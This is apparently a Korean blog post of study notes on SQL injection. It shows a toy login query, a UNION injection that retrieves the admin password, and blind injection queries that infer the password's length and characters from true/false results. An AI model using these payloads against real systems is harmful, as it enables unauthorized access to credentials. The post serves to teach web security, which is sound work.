-
<WEB Hacking> SQL InjectionWEB Hacking 2021. 12. 20. 11:18
DBMS에서 사용하는 쿼리를 임의로 조작해 데이터베이스의 정보를 획득하는 기법
■Simple SQL Injection
user_table uid upw guest guest admin ********** 로그인할 때 사용되는 쿼리
SELECT uid from user_table where uid='' and upw='';
admin의 비밀번호를 찾기 위한 쿼리
SELECT uid FROM user_table WHERE uid='' UNION SELECT upw FROM user_table WHERE uid='admin'#' and upw='';
■Blind SQL Injection
질의 결과를 이용자가 화면에서 직접 확인하지 못할 때, 참/거짓 반환 결과로 데이터를 획득하는 기법
로그인할 때 사용되는 쿼리
SELECT uid from user_table where uid='' and upw='';
admin의 비밀번호의 길이를 찾기위한 쿼리
SELECT uid FROM user_table WHERE uid='admin' and length(upw) > 9#' and upw=''; # admin
SELECT uid FROM user_table WHERE uid='admin' and length(upw) > 10#' and upw=''; # None
upw의 길이가 9보다 크다는 참이고, 10보다 크다는 거짓이므로 upw의 길이는 10이다.
admin의 비밀번호 첫 번째 문자를 찾기위한 쿼리
SELECT uid FROM user_table WHERE uid='admin' and ascii(substr(upw, 1, 1))=115#' and upw=''; # admin
Blind SQL Injection은 찾고자하는 값이 길이가 길수 있으므로, 공격을 자동화하는 스크립트를 작성하는 것이 유용
'WEB Hacking' 카테고리의 다른 글
<WEB Hacking> Command Injection (0) 2021.12.22 <WEB Hacking> NoSQL Injection (0) 2021.12.20 <WEB Hacking> ClientSide: CSRF (0) 2021.12.17 <WEB Hacking> ClientSide: XSS (0) 2021.12.16 <WEB Hacking> SOP (0) 2021.12.15